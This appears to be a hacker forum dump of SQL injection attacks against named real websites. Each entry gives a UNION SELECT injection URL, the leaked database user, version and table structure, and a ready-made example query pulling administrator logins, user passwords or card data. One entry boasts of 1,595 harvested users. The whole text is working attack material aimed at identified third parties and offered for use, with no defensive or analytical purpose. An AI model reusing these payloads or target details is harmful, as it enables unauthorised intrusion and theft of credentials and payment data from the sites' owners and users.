http://www.windbrake.us/news.php?ID=-823+and+0+union+select+1,concat_ws(0x3a,user(),dat abase(%20%20),version()),3,4,5,6+--+

user - brake@trinity.kiva.net
database - cibf
version - 5.0.26

http://www.belaruslift.com/news.php?id=-23+union+select+1,group_concat(0x3a,login,password ),3,4+from+admins--

http://www.trkvolgamoll.ru/news.php?id=-23+union+select+1,2,group_concat(table_name),4+fro m+information_schema.tables--

http://www.e-portal.com.ua/news.php?id=-23+union+select+1,group_concat(table_name),3,4,5,6 ,7,8,9,10,11,12,13+from+information_schema.tables--

user:dbo238807836@212.227.29.59
version:5.0.81-log
database:db238807836
OS:pc-linux-gnu

-1-
target : hana-g.com
Exploit: http://hana-g.com/pay.php?id=2&order=1+AND+1=2+UNION+SELECT+0,null,2 ,3,4--
Database : d031f18ydb1
User : d031f18y@localhost
Version : 5.1.36-community-log
Contain :

[0]area: area_id,area_name,order,enabled,upd_date,ins_date
[1]card_data: cdat_id,ctyp_id,prg_id,cnt_id,id,password,price,po int,flag,insert_time,use_time,card_number,etc,env
[2]card_price: prg_id,ctyp_id,price,enabled
[3]card_type: ctyp_id,ctyp_name,sname,chr,chr2,order,enabled,upd _date,ins_date
[4]ccheck_sid: sid,prg_id,cnt_id,price,card_number,time
[5]center: cnt_id,prg_id,cnt_name,alph_name,area_id,order,ena bled,tel,bank1,bank2,bank3,bank4,credit_val_zero,c redit_val_mobile,upd_date,ins_date,abt_cnt_id
[6]prefecture: id,name
[7]pricashop: htencd,htenko,prefecture,city,shopname,tel,town,ad dress,route,opens,closes,holiday,hanaf,hitof,manif ,purf,adry
[8]pricashop_old: htencd,htenko,prefecture,city,shopname,tel,town,ad dress,route,opens,closes,holiday,hanaf,hitof,manif ,purf,adry
[9]program: prg_id,prg_name,sname,sname2,order,man_info,woman_ info,woman_minfo,enabled,upd_date,ins_date,abt_prg _id
[10]rog: rogid,rognm,rog1,rog2,insdt,upddt
[11]settings: key,value

Example:
http://hana-g.com/pay.php?id=2&order=1+AND+1=2+UNION+SELECT+0,concat (cdat,0x3a,ctyp_id,0x3a,id,0x3a,password),2,3,4+fr om+card_data--


-2-
target : www.goldpoint.com.ar
Exploit: http://www.goldpoint.com.ar/producto.php?id=67/**/and/**/1=2/**/union/**/select/**/1,2,3,null,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22,23,24,25,26--
Database : ingelec_mailing
User : ingelec@localhost
Version : 5.0.85-community
Contain :

[0]news_emails: email_id,email_title,email_subject,email_body,emai l_identity
[1]news_files: file_id,file_newsletter,file_file
[2]news_groups: group_id,group_code,group_title,group_identity,gro up_date,group_description,group_system,group_publi c
[3]news_history: history_id,history_newsletter,history_user,history _name,history_email,history_status,history_date,hi story_group
[4]news_identities: person_id,person_name,person_email,person_signatur e,person_signature_html,person_phone,person_protec t
[5]news_newsletters: newsletter_id,newsletter_code,newsletter_problem,n ewsletter_group,newsletter_title,newsletter_date,n ewsletter_body_txt,newsletter_body_html,newsletter _sent,newsletter_overwrite,newsletter_signature,ne wsletter_from,newsletter_from_name,newsletter_misc _history,newsletter_misc_identity2,newsletter_misc _signature
[6]news_users: user_id,user_status,user_confirm,user_group,user_d ate,user_name,user_email,user_type,user_company,us er_address,user_city,user_state,user_zip,user_coun try,user_phone,user_fax,user_site,user_im_yahoo,us er_im_msn,user_im_icq,user_im_aol,last_name,referr er,level
[7]news_vars: name,value
[8]site_mb_msg: msg_id,msg_type,msg_user,msg_date,msg_title,msg_fr om,msg_to,msg_body,msg_new,msg_delete
[9]site_user_notes: note_id,note_title,note_body,note_relation,note_ty pe,note_post_date,note_post_ip,note_post_user
[10]site_users: user_id,user_login,user_password,user_name,user_ad dress,user_city,user_state,user_zip,user_country,u ser_phone,user_email,user_email2,user_im_aol,user_ im_icq,user_im_msn,user_im_yahoo,user_im_other,use r_status,user_level,user_pending,user_date,last_lo gin,last_ip,user_msg_send,user_msg_subject,user_pr otect_delete,user_protect_edit,user_group,user_rol e
[11]site_vars: id,name,value

Example:
http://www.goldpoint.com.ar/producto.php?id=67/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(user_login,0x3a,user_password),5,6,7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2 5,26+from+ingelec_mailing.site_users--



-3-
target : www.vivliokritiki.gr
Exploit: www.vivliokritiki.gr/title.php?id=6+AND+1=2+UNION+SELECT+0,null,2,3,4,5 ,6,7,8,9,10,11--
Database : vivlio
User : vivliokritiki@cgi0506.int.bizland.net
Version : 5.0.83-log
Contain :

[0]administrator: name,password
[1]author: id,fname,lname
[2]authorTitle: id,tid,aid
[3]category: id,name
[4]comments: id,tid,name,email,postdate,comments
[5]guestBook: id,name,email,postdate,comments
[6]publisher: id,house,address
[7]publisherTitle: id,pid,tid,pdate,price,pages
[8]title: id,cid,name,review,subtitle,reviewer
[9]users: id,fname,lname,email,password,comments
[10]verification: id,value

Example:
http://www.vivliokritiki.gr/title.php?id=6+AND+1=2+UNION+SELECT+0,concat(name, 0x3a,password),2,3,4,5,6,7,8,9,10,11+from+administ rator--



-4-
target : www.hemasolutions.com
Exploit: http://www.hemasolutions.com/query.php?id=13+AND+1=2+UNION+SELECT+0,null,2,3,4, 5,6,7,8,9--
Databases :

• hemasol_acc
• hemasol_balkan
• hemasol_balkanforum
• hemasol_calculators
• hemasol_hema
• hemasol_leather
• hemasol_mall
• hemasol_vioenergy
• hemasol_viva
• hemasol_widget

User : hemasol@localhost
Version : 5.0.81-community-log
Contain (hemasol_hema) :

[0]downloaded: downloaded_id,downloaded_date,downloaded_file,down loaded_ip
[1]downloads: downloads_id,downloads_name,downloads_lang,downloa ds_version,downloads_date,downloads_av,downloads_s rc,downloads_file,downloads_ext
[2]faqs: faqs_id,faqs_date,faqs_question,faqs_answer
[3]news: news_id,news_date,news_head,news_body,news_image,n ews_image_ext,news_lang
[4]plans: plans_id,plans_owner,plans_template,plans_src,plan s_date,plans_disp_style
[5]pools: pools_id,pools_date,pools_ip,pools_q1,pools_a1,poo ls_q2,pools_a2,pools_q3,pools_a3
[6]queries: queries_id,queries_owner,queries_date,queries_temp late,queries_args,queries_result
[7]questions: questions_id,questions_name,questions_email,questi ons_date,questions_topic,questions_text
[8]requests: requests_id,requests_date,requests_name1,requests_ name2,requests_title,requests_email,requests_compa ny,requests_address,requests_city,requests_state,r equests_post,requests_country,requests_page,reques ts_info
[9]reviews: reviews_id,reviews_date,reviews_head,reviews_body, reviews_lang,reviews_author,reviews_email,reviews_ rating,reviews_approved,reviews_company
[10]templates: templates_id,templates_name,templates_lang,templat es_group,templates_owner,templates_email,templates _xml,templates_creation,templates_used,templates_a ctive
[11]users: users_id,users_name,users_pass,users_desc,users_co untry,users_city,users_address,users_tel,users_ema il,users_website,users_ip,users_lang,users_plans_l eft,users_download_allowed,users_created,users_act ive,users_agree
[12]webmasters: webmasters_id,webmasters_name,webmasters_site,webm asters_ip,webmasters_css,webmasters_lang,webmaster s_templates,webmasters_plans_left,webmasters_creat ed
[13]webplans: webplans_id,webplans_owner,webplans_user,webplans_ template,webplans_short,webplans_src,webplans_date

Example:
http://www.hemasolutions.com/query.php?id=13+AND+1=2+UNION+SELECT+0,concat(user s_name,0x3a,users_pass),2,3,4,5,6,7,8,9+from+hemas ol_hema.users--

ТИЦ: 50
PR: 4

u_billiard@localhost@billiard@4.1.22-log@pc-linux-gnu

эротический масаж
.0.22:nefer_vladimir:nefer_vladimir@localhost:unkn own-freebsd6.0

MENU@category@config@config_cat@item@main

атрибуты

menu:
idmenu@item@mat_id@root_id@por@item_ukr@item_eng@t ype

category:
cat_id@root_cat@name_cat@descr@sh_descr@img@por

config:
name_site@description@adminlogin@adminpass@id@meta

config_cat:
item_per_page@i_shop@email@add_img@money@id

item:
id@id_category@title@description@sh_description@pr ice@hits@money_type@print_to_index@img@ad_img

main:
d@name@info@info_ukr@info_eng

http://www.bizarresoft.ro/produse_detalii.php?produs=-15+union+select+1,2,concat_ws(0x3a,version(),datab ase(),user(),@@version_compile_os),4,5,6,7,8,9,10, 11,12,13,14

Database Version: 5.0.85-community-log
Database name: bizarres_bizarres
User name: bizarres_barabum@localhost
Os : pc-linux-gnu

http://www.stimul-n.bg/site/advert.php?id=-4+union+select+1,2,group_concat(0x0b,column_name)+ from+information_schema.columns+where+table_name=0 x7573657273
users::id:user,pass:emailerm
http://www.stimul-n.bg/site/advert.php?id=-4+union+select+1,2,group_concat(0x0b,id,0x3a,user, 0x3a,pass,0x3a,email,0x3a,perm)+from+users
MySQL MySQL 5.0.32-Debian_7etch1-log
================================================== ========
http://ovbot.com/go.php?id=-4+union+select+group_concat(0x0b,column_name)+from +information_schema.columns+where+table_name=0x777 05f7573657273
wp_users::ID,user_login,user_pass,user_nicename,user_email,user_url,user_registered,user_activation_key,user_status,display_name
http://ovbot.com/go.php?id=-4+union+select+group_concat(0x0b,ID,0x3a,user_login,0x3a,user_pass,0x3a,user_email)+from+wp_users
MySQL 5.0.81-community

ZAXID.NET
user:chatzaxid@localhost
DB:chatzaxid
version:5.1.37-log
OS:unknown-linux-gnu

нашы таблички:
атрибуты confusers:
пользователи:

Всего 1595 пользователя!!!

------